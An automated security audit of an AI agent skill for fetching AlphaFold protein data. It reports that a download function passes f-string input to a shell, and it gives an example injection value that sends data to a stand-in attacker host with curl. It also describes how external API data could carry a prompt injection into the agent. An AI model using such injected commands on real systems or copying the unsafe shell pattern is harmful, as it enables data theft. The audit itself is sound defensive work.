alphafold-database
Warn
Audited by Gen Agent Trust Hub on Jul 30, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONEXTERNAL_DOWNLOADSPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The
download_proteomefunction inSKILL.md(Section 4) is vulnerable to command injection. - Evidence: The function constructs a shell command string
cmd = f"gsutil -m cp {pattern} {output_dir}/"using f-strings and executes it viasubprocess.run(cmd, shell=True). - Risk: If the
taxonomy_idvariable (which is interpolated into the command) originates from untrusted user input, an attacker could execute arbitrary shell commands (e.g., by providing a value like83333; curl http://attacker.com/leak). - [EXTERNAL_DOWNLOADS]: Fetches protein structure files and metadata from well-known scientific repositories and cloud services.
- Evidence: The skill downloads coordinates and confidence data from
alphafold.ebi.ac.uk, searches protein accessions onuniprot.org, and retrieves bulk proteome datasets from public Google Cloud Storage buckets (gs://public-datasets-deepmind-alphafold-v4). - [PROMPT_INJECTION]: The skill exposes an indirect prompt injection attack surface by processing external data without proper sanitization.
- Ingestion points: Data enters the agent's context from the AlphaFold API and UniProt search results.
- Boundary markers: The skill does not use specific delimiters or instructions to ignore embedded commands in the ingested data.
- Capability inventory: The skill has access to shell execution (
subprocess.run) and file system writes (open().write()). - Sanitization: There is no evidence of validation, escaping, or filtering of externally sourced identifiers before they are used in high-privilege capabilities.
Audit Metadata